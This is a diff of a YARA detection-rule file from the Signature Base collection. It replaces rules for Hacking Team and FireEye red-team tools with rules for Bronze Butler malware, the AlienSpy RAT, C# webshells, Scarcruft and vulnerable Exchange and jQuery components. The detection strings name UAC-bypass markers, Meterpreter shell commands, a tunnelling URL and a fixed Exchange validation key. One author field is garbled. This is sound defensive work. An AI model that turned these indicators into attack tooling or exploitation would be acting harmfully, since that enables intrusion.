+		hash6 = "85544d2bcaf8e6ca32bbc0a9e9583c9db1dce837043f555a7ff66363d5858439"
+		hash7 = "2dc24622c1e91642a21a64c0dd31cbe953e8f77bd3d6abcf2c4676c3b11bb162"
+		hash8 = "2bdb88fa24cffba240b60416835189c76a9920b6c3f6e09c3c4b171c2f57031c"
 
 	strings:
-		$s1 = "\\sysnative\\CI.dll" ascii
-		$s2 = "setx TOR_CONTROL_PASSWORD" fullword ascii
-		$s3 = "mitmproxy0" fullword ascii
-		$s4 = "\\insert_cert.exe" ascii
-		$s5 = "elevator.dll" fullword ascii
-		$s6 = "CRTDLL.DLL" fullword ascii
-		$s7 = "fail adding cert" fullword ascii
-		$s8 = "DownloadingFile" fullword ascii
-		$s9 = "fail adding cert: %s" fullword ascii
-		$s10 = "InternetOpenA fail" fullword ascii
+		$s1 = "(c) 2010 DYAMAR EnGineerinG, All rights reserved, http://www.dyamar.com." fullword ascii
+		$s2 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1)" fullword ascii
+		$a1 = "ndkkwqgcm" fullword ascii
+		$a2 = "RtlGetCo" fullword ascii
+		$a3 = "hutils" fullword ascii
+		$b1 = "%USERPROFILE%\\System" fullword ascii
+		$b2 = "msid.dat" fullword ascii
+		$b3 = "DRIVE_REMOTE" fullword wide
+		$b4 = "%s%s%s%s%s%s%s%s%s%s%s%s" fullword ascii
+		$b5 = "jcbhe.asp" fullword ascii
+		$b6 = "edset.asp" fullword ascii
+		$b7 = "bxcve.asp" fullword ascii
+		$b8 = "hcvery.php" fullword ascii
+		$b9 = "ynhkef.php" fullword ascii
+		$b10 = "dkgwey.php" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and 6 of them
+		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="088382f4887e3b2c4bd5157f2d72b618" or all of ($a*) or 4 of them )
 }
-rule SIGNATURE_BASE_Hackingteam_Elevator_EXE : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Bronzebutler_Dget_1 : FILE
 {
 	meta:
-		description = "Hacking Team Disclosure Sample - file elevator.exe"
+		description = "Detects malware / hacktool sample from Bronze Butler incident"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a68b68dd-372d-5572-a1e7-1b7e06e986d8"
-		date = "2015-07-07"
+		id = "d60fcc9f-0f17-5871-9e8e-71d26e2f46bc"
+		date = "2017-10-14"
 		modified = "2023-12-05"
-		reference = "Hacking Team Disclosure elevator.c"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hackingteam_rules.yar#L58-L86"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9261693b67b6e379ad0e57598602712b8508998c0cb012ca23139212ae0009a1"
-		logic_hash = "58f3c28fa69da0329a4cd5451a86260056076a9d0094965e9c23a63ef72cfc98"
-		score = 70
-		quality = 81
+		reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_bronze_butler.yar#L80-L93"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2d5537f581039fa4561950402a34cbd9abd54c167d659fbbe74f1cb83217e3fb"
+		score = 75
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "40a10420b9d49f87527bc0396b19ec29e55e9109e80b52456891243791671c1c"
-		hash2 = "92aec56a859679917dffa44bd4ffeb5a8b2ee2894c689abbbcbe07842ec56b8d"
+		hash1 = "bd81521445639aaa5e3bcb5ece94f73feda3a91880a34a01f92639f8640251d6"
 
 	strings:
-		$x1 = "CRTDLL.DLL" fullword ascii
-		$x2 = "\\sysnative\\CI.dll" ascii
-		$x3 = "\\SystemRoot\\system32\\CI.dll" ascii
-		$x4 = "C:\\\\Windows\\\\Sysnative\\\\ntoskrnl.exe" fullword ascii
-		$s1 = "[*] traversing processes" fullword ascii
-		$s2 = "_getkprocess" fullword ascii
-		$s3 = "[*] LoaderConfig %p" fullword ascii
-		$s4 = "loader.obj" fullword ascii
-		$s5 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3" ascii
-		$s6 = "[*] token restore" fullword ascii
-		$s7 = "elevator.obj" fullword ascii
-		$s8 = "_getexport" fullword ascii
+		$s2 = "DGet Tool Made by XZ" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and all of ($x*) and 3 of ($s*)
+		( uint16(0)==0x5a4d and filesize <10KB and 1 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Credtheft_MSIL_Adpasshunt_2_1 : FILE
+rule SIGNATURE_BASE_Bronzebutler_Uacbypass_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - Signature Base"
-		author = "FireEye"
-		id = "44ba09c3-ac0a-58e7-b98c-dedcbf208d00"
-		date = "2024-05-25"
-		modified = "2024-05-25"
-		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_fireeye_redteam_tools.yar#L845-L861"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6efb58cf54d1bb45c057efcfbbd68a93"
-		logic_hash = "a76faa34a1f9cc891aeaa65525c8698e49d5a141854ca0cffb42f06a251bea43"
-		score = 50
+		description = "Detects malware / hacktool sample from Bronze Butler incident"
+		author = "Florian Roth (Nextron Systems)"
+		id = "01853352-58fc-56a3-8c20-08405c71e251"
+		date = "2017-10-14"
+		modified = "2023-12-05"
+		reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_bronze_butler.yar#L95-L113"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "64b70b9f5963be9009025c14a6e98be9642599af5226f77946b6255116fc22d8"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "fe06b99a0287e2b2d9f7faffbda3a4b328ecc05eab56a3e730cfc99de803b192"
 
 	strings:
-		$pdb1 = "\\ADPassHunt\\"
-		$pdb2 = "\\ADPassHunt.pdb"
-		$s1 = "Usage: .\\ADPassHunt.exe"
-		$s2 = "[ADA] Searching for accounts with msSFU30Password attribute"
-		$s3 = "[ADA] Searching for accounts with userpassword attribute"
-		$s4 = "[GPP] Searching for passwords now"
+		$x1 = "\\Release\\BypassUacDll.pdb" ascii
+		$x2 = "%programfiles%internet exploreriexplore.exe" fullword wide
+		$x3 = "Elevation:Administrator!new:{3ad055" fullword wide
+		$x4 = "BypassUac.pdb" fullword ascii
+		$x5 = "[bypassUAC] started X64" fullword wide
+		$x6 = "[bypassUAC] started X86" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and (@pdb2[1]<@pdb1[1]+50) or 2 of ($s*)
+		( uint16(0)==0x5a4d and filesize <1000KB and 1 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_Backdoor_Win_Gorat_Memory_1
+rule SIGNATURE_BASE_Bronzebutler_Xxmm_1 : FILE
 {
 	meta:
-		description = "Identifies GoRat malware in memory based on strings."
-		author = "FireEye"
-		id = "4fcdd98f-1873-58e1-a9f5-73ee0aa5a69f"
-		date = "2024-05-25"
-		modified = "2024-05-25"
-		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_fireeye_redteam_tools.yar#L1013-L1039"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3b926b5762e13ceec7ac3a61e85c93bb"
-		logic_hash = "bf8d80b7a7d35c1bcb353ff66d10bc95c2e6502043acc6554887465a467cdcf7"
+		description = "Detects malware / hacktool sample from Bronze Butler incident"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0e413e3a-fb61-58bc-9ecb-4ef76e83a7f3"
+		date = "2017-10-14"
+		modified = "2023-12-05"
+		reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_bronze_butler.yar#L115-L140"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "eb9c12cbe2fe132a9588b744d10caee12716f622c31da8a1cee4c0f88d693e8e"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7197de18bc5a4c854334ff979f3e4dafa16f43d7bf91edfe46f03e6cc88f7b73"
 
 	strings:
-		$rat1 = "rat/modules/socks.(*HTTPProxyClient).beacon" fullword
-		$rat2 = "rat.(*Core).generateBeacon" fullword
-		$rat3 = "rat.gJitter" fullword
-		$rat4 = "rat/comms.(*protectedChannel).SendCmdResponse" fullword
-		$rat5 = "rat/modules/filemgmt.(*acquire).NewCommandExecution" fullword
-		$rat6 = "rat/modules/latlisten.(*latlistensrv).handleCmd" fullword
-		$rat7 = "rat/modules/netsweeper.(*netsweeperRunner).runSweep" fullword
-		$rat8 = "rat/modules/netsweeper.(*Pinger).listen" fullword
-		$rat9 = "rat/modules/socks.(*HTTPProxyClient).beacon" fullword
-		$rat10 = "rat/platforms/win/dyloader.(*memoryLoader).ExecutePluginFunction" fullword
-		$rat11 = "rat/platforms/win/modules/namedpipe.(*dummy).Open" fullword
-		$winblows = "rat/platforms/win.(*winblows).GetStage" fullword
+		$x1 = "\\Release\\ReflectivLoader.pdb" ascii
+		$x3 = "\\Projects\\xxmm2\\Release\\" ascii
+		$x5 = "http://127.0.0.1/phptunnel.php" fullword ascii
+		$s1 = "xxmm2.exe" fullword ascii
+		$s2 = "\\AvUpdate.exe" wide
+		$s3 = "stdapi_fs_file_download" fullword ascii
+		$s4 = "stdapi_syncshell_open" fullword ascii
+		$s5 = "stdapi_execute_sleep" fullword ascii
+		$s6 = "stdapi_syncshell_kill" fullword ascii
 
 	condition:
-		$winblows or 3 of ($rat*)
+		uint16(0)==0x5a4d and filesize <700KB and (1 of ($x*) or 4 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Hacktool_MSIL_Sharpivot_3_1 : FILE
-{
-	meta:
-		description = "This rule looks for .NET PE files that have the strings of various method names in the SharPivot code."
-		author = "FireEye"
-		id = "956ba026-c2fa-55fd-be53-0cfaa345f27a"
-		date = "2024-05-25"
-		modified = "2024-05-25"
-		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_fireeye_redteam_tools.yar#L1145-L1174"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e4efa759d425e2f26fbc29943a30f5bd"
-		logic_hash = "f51ac9637f47a98beee1b3c37b594e292aab0e1d3f9e49c41b1f3c3ce02e17de"
+rule SIGNATURE_BASE_Bronzebutler_Rarstar_1 : FILE
+{
+	meta:
+		description = "Detects malware / hacktool sample from Bronze Butler incident"
+		author = "Florian Roth (Nextron Systems)"
+		id = "770270b3-6743-5efb-84d8-b63f1df800d9"
+		date = "2017-10-14"
+		modified = "2023-12-05"
+		reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_bronze_butler.yar#L142-L158"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0e418e595020d91c575051c3b1639b09efad150c625b62eec3d1331f9792641b"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0fc1b4fdf0dc5373f98de8817da9380479606f775f5aa0b9b0e1a78d4b49e5f4"
 
 	strings:
-		$msil = "_CorExeMain" ascii wide
-		$str1 = "SharPivot" ascii wide
-		$str2 = "ParseArgs" ascii wide
-		$str3 = "GenRandomString" ascii wide
-		$str4 = "ScheduledTaskExists" ascii wide
-		$str5 = "ServiceExists" ascii wide
-		$str6 = "lpPassword" ascii wide
-		$str7 = "execute" ascii wide
-		$str8 = "WinRM" ascii wide
-		$str9 = "SchtaskMod" ascii wide
-		$str10 = "PoisonHandler" ascii wide
-		$str11 = "SCShell" ascii wide
-		$str12 = "SchtaskMod" ascii wide
-		$str13 = "ServiceHijack" ascii wide
-		$str14 = "ServiceHijack" ascii wide
-		$str15 = "commandArg" ascii wide
-		$str16 = "payloadPath" ascii wide
-		$str17 = "Schtask" ascii wide
+		$s1 = "Mozilla/4.0+(compatible;+MSIE+8.0;+Windows+NT+6.0;+SV1)" fullword wide
+		$s2 = "http://www.google.co.jp" fullword wide
+		$s3 = "16D73E22-873D-D58E-4F42-E6055BC9825E" fullword ascii
+		$s4 = "\\*.rar" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $msil and all of ($str*)
+		( uint16(0)==0x5a4d and filesize <200KB and 2 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Hacktool_MSIL_SEATBELT_1_1 : FILE
+rule SIGNATURE_BASE_Daserf_Nov1_Bronzebutler : FILE
 {
 	meta:
-		description = "This rule looks for .NET PE files that have regex and format strings found in the public tool SeatBelt. Due to the nature of the regex and format strings used for detection, this rule should detect custom variants of the SeatBelt project."
-		author = "FireEye"
-		id = "cfd730ac-1eec-5e04-b871-c14912bc0425"
-		date = "2020-12-08"
-		modified = "2023-01-27"
-		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_fireeye_redteam_tools.yar#L1210-L1233"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "848837b83865f3854801be1f25cb9f4d"
-		logic_hash = "89275ec08b75cef371b70fb749cbcada3f30309869094ab7940811fe40f8a008"
+		description = "Detects Daserf malware used by Bronze Butler"
+		author = "Florian Roth (Nextron Systems)"
+		id = "58c4d3dc-c516-567b-8746-4e185c3cd328"
+		date = "2017-11-08"
+		modified = "2023-12-05"
+		reference = "https://goo.gl/ffeCfd"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_bronze_butler.yar#L170-L196"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "75edc17c51f4ea82ff7722df2f5825721ff64445fb8c78b450f1333bd32b5829"
 		score = 75
-		quality = 67
+		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "5ede6f93f26ccd6de2f93c9bd0f834279df5f5cfe3457915fae24a3aec46961b"
 
 	strings:
-		$msil = "_CorExeMain" ascii wide
-		$str1 = "{ Process = {0}, Path = {1}, CommandLine = {2} }" ascii nocase wide
-		$str2 = "Domain=\"(.*)\",Name=\"(.*)\"" ascii nocase wide
-		$str3 = "LogonId=\"(\\d+)\"" ascii nocase wide
-		$str4 = "{0}.{1}.{2}.{3}" ascii nocase wide
-		$str5 = "^\\W*([a-z]:\\\\.+?(\\.exe|\\.dll|\\.sys))\\W*" ascii nocase wide
-		$str6 = "*[System/EventID={0}]" ascii nocase wide
-		$str7 = "*[System[TimeCreated[@SystemTime >= '{" ascii nocase wide
-		$str8 = "(http|ftp|https|file)://([\\w_-]+(?:(?:\\.[\\w_-]+)+))([\\w.,@?^=%&:/~+#-]*[\\w@?^=%&/~+#-])?" ascii nocase wide
-		$str10 = "{0,-23}" ascii nocase wide
+		$x1 = "mstmp1845234.exe" fullword ascii
+		$x2 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; SV1)" fullword ascii
+		$x3 = "Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; SV1)" fullword ascii
+		$s1 = "Content-Type: */*" fullword ascii
+		$s2 = "ProxyEnable" ascii fullword
+		$s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer" ascii fullword
+		$s4 = "iexplore.exe" ascii fullword
+		$s5 = "\\SOFTWARE\\Microsoft\\Windows\\Cu" ascii
+		$s6 = "rrentVersion\\Internet Settings" fullword ascii
+		$s7 = "ws\\CurrentVersion\\Inter" fullword ascii
+		$s8 = "Documents an" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $msil and all of ($str*)
+		uint16(0)==0x5a4d and filesize <700KB and (1 of ($x*) or 5 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Builder_PY_REDFLARE_2_1
+rule SIGNATURE_BASE_VUL_Jquery_Fileupload_CVE_2018_9206 : CVE_2018_9206
 {
 	meta:
-		description = "No description has been set in the source file - Signature Base"
-		author = "FireEye"
-		id = "74c56ee1-734e-5fdb-beee-6345a5993f68"
-		date = "2020-12-01"
-		modified = "2020-12-01"
-		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_fireeye_redteam_tools.yar#L1376-L1391"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4410e95de247d7f1ab649aa640ee86fb"
-		logic_hash = "0f28fb23c0c1d589466c7c541c8dc588b038d02dded0c66c4a448d1f768c95c5"
+		description = "Detects JQuery File Upload vulnerability CVE-2018-9206"
+		author = "Florian Roth (Nextron Systems)"
+		id = "20bac44c-0e5a-5561-9fd8-a71cd2d8590a"
+		date = "2018-10-19"
+		modified = "2023-12-05"
+		reference = "https://blogs.akamai.com/sitr/2018/10/having-the-security-rug-pulled-out-from-under-you.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vul_jquery_fileupload_cve_2018_9206.yar#L1-L16"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ef7cc13130c60ece346802cb6efec96065f84407fb84b89703628fdf32c0ee53"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "CVE-2018-9206"
 
 	strings:
-		$s1 = "<510sxxII"
-		$s2 = "0x43,0x00,0x3a,0x00,0x5c,0x00,0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,"
-		$s3 = "parsePluginOutput"
+		$s1 = "error_reporting(E_ALL | E_STRICT);" fullword ascii
+		$s2 = "require('UploadHandler.php');" fullword ascii
+		$s3 = "$upload_handler = new UploadHandler();" fullword ascii
 
 	condition:
-		all of them and #s2==2
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Backdoor_Win_GORAT_4_1 : FILE
+rule SIGNATURE_BASE_Crime_Win_Rat_Alienspy : FILE
 {
 	meta:
-		description = "Verifies that the sample is a Windows PE that is less than 10MB in size and exports numerous functions that are known to be exported by the Gorat implant. This is done in an effort to provide detection for packed samples that may not have other strings but will need to replicate exports to maintain functionality."
-		author = "FireEye"
-		id = "ae67445c-e7fd-5858-be8b-7ee84a16a031"
-		date = "2024-05-25"
-		modified = "2024-05-25"
-		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_fireeye_redteam_tools.yar#L1706-L1716"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f59095f0ab15f26a1ead7eed8cdb4902"
-		logic_hash = "fa76e994beb2ab1b7950cf9d6391adf4e1ba45586a14a6340fa8a25a904821e4"
+		description = "Alien Spy Remote Access Trojan"
+		author = "General Dynamics Fidelis Cybersecurity Solutions - Threat Research Team"
+		id = "a79789cd-9b16-58f5-ab51-48bb900583d1"
+		date = "2015-04-04"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_alienspy_rat.yar#L2-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2b6fec104a89badb057619f648119dcf6debd294ee2b80a1fde6ffa30a7a45f7"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		reference_1 = "www.fidelissecurity.com/sites/default/files/FTA_1015_Alienspy_FINAL.pdf"
+		reference_2 = "www.fidelissecurity.com/sites/default/files/AlienSpy-Configs2_1_2.csv"
+		filetype = "Java"
+		hash_1 = "075fa0567d3415fbab3514b8aa64cfcb"
+		hash_2 = "818afea3040a887f191ee9d0579ac6ed"
+		hash_3 = "973de705f2f01e82c00db92eaa27912c"
+		hash_4 = "7f838907f9cc8305544bd0ad4cfd278e"
+		hash_5 = "071e12454731161d47a12a8c4b3adfea"
+		hash_6 = "a7d50760d49faff3656903c1130fd20b"
+		hash_7 = "f399afb901fcdf436a1b2a135da3ee39"
+		hash_8 = "3698a3630f80a632c0c7c12e929184fb"
+		hash_9 = "fdb674cadfa038ff9d931e376f89f1b6"
+
+	strings:
+		$sa_1 = "META-INF/MANIFEST.MF"
+		$sa_2 = "Main.classPK"
+		$sa_3 = "plugins/Server.classPK"
+		$sa_4 = "IDPK"
+		$sb_1 = "config.iniPK"
+		$sb_2 = "password.iniPK"
+		$sb_3 = "plugins/Server.classPK"
+		$sb_4 = "LoadStub.classPK"
+		$sb_5 = "LoadStubDecrypted.classPK"
+		$sb_7 = "LoadPassword.classPK"
+		$sb_8 = "DecryptStub.classPK"
+		$sb_9 = "ClassLoaders.classPK"
+		$sc_1 = "config.xml"
+		$sc_2 = "options"
+		$sc_3 = "plugins"
+		$sc_5 = "util/OSHelper"
+		$sc_6 = "Start.class"
+		$sc_7 = "AlienSpy"
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and filesize <10MB and pe.exports("MemoryCallEntryPoint") and pe.exports("MemoryDefaultAlloc") and pe.exports("MemoryDefaultFree") and pe.exports("MemoryDefaultFreeLibrary") and pe.exports("MemoryDefaultGetProcAddress") and pe.exports("MemoryDefaultLoadLibrary") and pe.exports("MemoryFindResource") and pe.exports("MemoryFindResourceEx") and pe.exports("MemoryFreeLibrary") and pe.exports("MemoryGetProcAddress") and pe.exports("MemoryLoadLibrary") and pe.exports("MemoryLoadLibraryEx") and pe.exports("MemoryLoadResource") and pe.exports("MemoryLoadString") and pe.exports("MemoryLoadStringEx") and pe.exports("MemorySizeofResource") and pe.exports("callback") and pe.exports("crosscall2") and pe.exports("crosscall_386")
+		uint16(0)==0x4B50 and filesize <800KB and (( all of ($sa_*)) or ( all of ($sb_*)) or ( all of ($sc_*)))
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hacktool_MSIL_PXELOOT_2_1 : FILE
+rule SIGNATURE_BASE_WEBSHELL_Csharp_Hash_String_Oct22 : FILE
 {
 	meta:
-		description = "This rule looks for .NET PE files that have the strings of various method names in the PXE And Loot code."
-		author = "FireEye"
-		id = "ff46a0e9-f7d2-57f2-9727-26b69ea5ba71"
-		date = "2020-12-08"
-		modified = "2023-01-27"
-		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_fireeye_redteam_tools.yar#L2088-L2113"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d93100fe60c342e9e3b13150fd91c7d8"
-		logic_hash = "f9a9167b806e0e3df3720c13b4009e18c5a36913d255978cb001c2284533ea82"
-		score = 75
-		quality = 43
+		description = "C# webshell using specific hash check for the password."
+		author = "Nils Kuhnert (modified by Florian Roth)"
+		id = "c7d459be-5e61-57b7-b738-051c0cec62d2"
+		date = "2022-10-27"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshell_csharp.yar#L2-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "29c187ad46d3059dc25d5f0958e0e8789fb2a51b9daaf90ea27f001b1a9a603c"
+		logic_hash = "28a07f3dd17fc469388867fa82a0e21abeee9c4e114af245b684535e4e194891"
+		score = 60
+		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$msil = "_CorExeMain" ascii wide
-		$str2 = "InvestigateRPC" ascii nocase wide
-		$str3 = "DhcpRecon" ascii nocase wide
-		$str4 = "UnMountWim" ascii nocase wide
-		$str5 = "remote WIM image" ascii nocase wide
-		$str6 = "DISMWrapper" ascii nocase wide
-		$str7 = "findTFTPServer" ascii nocase wide
-		$str8 = "DHCPRequestRecon" ascii nocase wide
-		$str9 = "DHCPDiscoverRecon" ascii nocase wide
-		$str10 = "GoodieFile" ascii nocase wide
-		$str11 = "InfoStore" ascii nocase wide
-		$str12 = "execute" ascii nocase wide
+		$gen1 = "void Page_Load" ascii
+		$gen2 = "FromBase64String" ascii
+		$gen3 = "CryptoServiceProvider" ascii
+		$gen4 = "ComputeHash" ascii
+		$hashing1 = "BitConverter.ToString(" ascii
+		$hashing2 = ").Replace(\"-\", \"\") == \"" ascii
+		$filter1 = "BitConverter.ToString((" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $msil and all of ($str*)
+		filesize <10KB and all of ($gen*) and all of ($hashing*) and not 1 of ($filter*)
 }
-rule SIGNATURE_BASE_VUL_Exchange_CVE_2020_0688 : FILE
+rule SIGNATURE_BASE_Scarcruft_Malware_Feb18_1 : FILE
 {
 	meta:
-		description = "Detects static validation key used by Exchange server in web.config"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1065f297-0dc4-5dcb-b0f3-c89d06ff5e69"
-		date = "2020-02-26"
+		description = "Detects Scarcruft malware - February 2018"
+		author = "Florian rootpath"
+		id = "43a87f2a-cf60-5035-8d40-c360a789a1ac"
+		date = "2018-02-03"
 		modified = "2023-12-05"
-		reference = "https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vul_cve_2020_0688.yar#L2-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "035971028d36c8bbcc6a274817187adfbfefe530ff6808af5a7c0b4667c1bd8b"
-		score = 60
+		reference = "https://twitter.com/craiu/status/959477129795731458"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_scarcruft.yar#L2-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fa1ed130518a2096bd731dce917512d560160e271ad8f0ccd57fbedd478a5502"
+		score = 90
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$h1 = "<?xml "
-		$x1 = "<machineKey validationKey=\"CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\"" ascii wide
+		$x1 = "d:\\HighSchool\\version 13\\2ndBD\\T+M\\" ascii
+		$x2 = "cmd.exe /C ping 0.1.1.2" wide
 
 	condition:
-		filesize <=300KB and $h1 at 0 and $x1
